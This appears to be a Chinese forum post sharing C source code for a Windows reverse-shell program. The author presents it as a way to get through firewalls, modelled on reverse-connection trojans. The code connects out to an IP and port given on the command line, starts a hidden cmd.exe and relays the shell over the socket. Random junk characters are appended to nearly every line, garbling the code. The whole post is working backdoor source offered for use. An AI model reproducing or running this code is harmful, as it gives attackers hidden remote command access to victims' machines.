这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 tBtG- X2
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/* ============================== !xU1[,9
Rebound port in Windows NT `Qf$]Eoft
By wind,2006/7 nqG9$!k^t
===============================*/ SF$]{
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#include Tgpf0(
#include .'zXO
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#pragma comment(lib,"wsock32.lib") `$IuN*
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void OutputShell(); +-~:E_G
SOCKET sClient;
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; jv:!vi:
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void main(int argc,char **argv) q Ee1OB
{ ;Z\1PwT
WSADATA stWsaData; ^DL}J>F9G
int nRet; (x}>tm
SOCKADDR_IN stSaiClient,stSaiServer; m5O;aj* i
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if(argc != 3) "62vwWrwO
{ L5%t.7B
printf("Useage:\n\rRebound DestIP DestPort\n"); <a)B5B>
return; "}_b,5lkGK
} 'z=WJV;Vs
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WSAStartup(MAKEWORD(2,2),&stWsaData); <qG4[W,[
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }?"}R<F|M,
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stSaiClient.sin_family = AF_INET; Z`5jX;Z!
stSaiClient.sin_port = htons(0); X$o$8s
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); oF1{/ERS
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `1|#Za~e
{ _ZM$&6EC
printf("Bind Socket Failed!\n"); .Dn.|A
return; pmm?Fq!s=
} U} EaV<
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stSaiServer.sin_family = AF_INET; 4uQ\JD(*Eu
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); CqMm'6;$a}
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <Fkm7ME]
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "/ N ?$
{ YCv)DW;
printf("Connect Error!"); ;7id![KI4
return; ^SP/&w<c
} cE{hy7cH
OutputShell(); XILB>o.^3
} _a;E>
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void OutputShell() ]_Cm 5Z7
{ Y7WxV>E
char szBuff[1024]; 'r&az BO
SECURITY_ATTRIBUTES stSecurityAttributes; G,tJ\xMw8
OSVERSIONINFO stOsversionInfo; v"nN[_T
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;
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STARTUPINFO stStartupInfo; r57&F`{
char *szShell; 1&zvf4
PROCESS_INFORMATION stProcessInformation; cT2&nZ
unsigned long lBytesRead; )gOVnA/M
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); <evvNSE
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +iS'$2)@
stSecurityAttributes.lpSecurityDescriptor = 0; AYhWeI+
stSecurityAttributes.bInheritHandle = TRUE; |u r/6{Oj1
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); =mVWfFL
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 7_OC&hhL
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); MQs!+Z"m>
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #Tc]L<."
stStartupInfo.wShowWindow = SW_HIDE; 8fV.NCyE
stStartupInfo.hStdInput = hReadPipe; o1Bn^w
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; =>?;Iv'Z
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GetVersionEx(&stOsversionInfo); CSKOtqKQ)
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switch(stOsversionInfo.dwPlatformId) L]wWJL
{ W''%{A/'
case 1: 9+:SS1_
szShell = "command.com"; @uh^)6i]/
break; A
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default: ew13qpt)<L
szShell = "cmd.exe"; x)35}mi){L
break; (`W_ -PI
} 7a$K@iWU
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <x QvS^|[
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send(sClient,szMsg,77,0); i-.]onR
while(1) myq@X(K
{ s9[?{}gd
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); R07]{
if(lBytesRead) cTC -cgp
{ +8<|P&fH
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )b%t4~7
send(sClient,szBuff,lBytesRead,0); Lud[.>i
} f ZEyXb
else A-n@:` n~
{ Mi>!
lBytesRead=recv(sClient,szBuff,1024,0); ZmLA4<
if(lBytesRead<=0) break; pZE}<EX
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); QN4{xf:}S
} BlLK6"gJT
} .uh>S!X, ]
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return; Z\YCjs%
}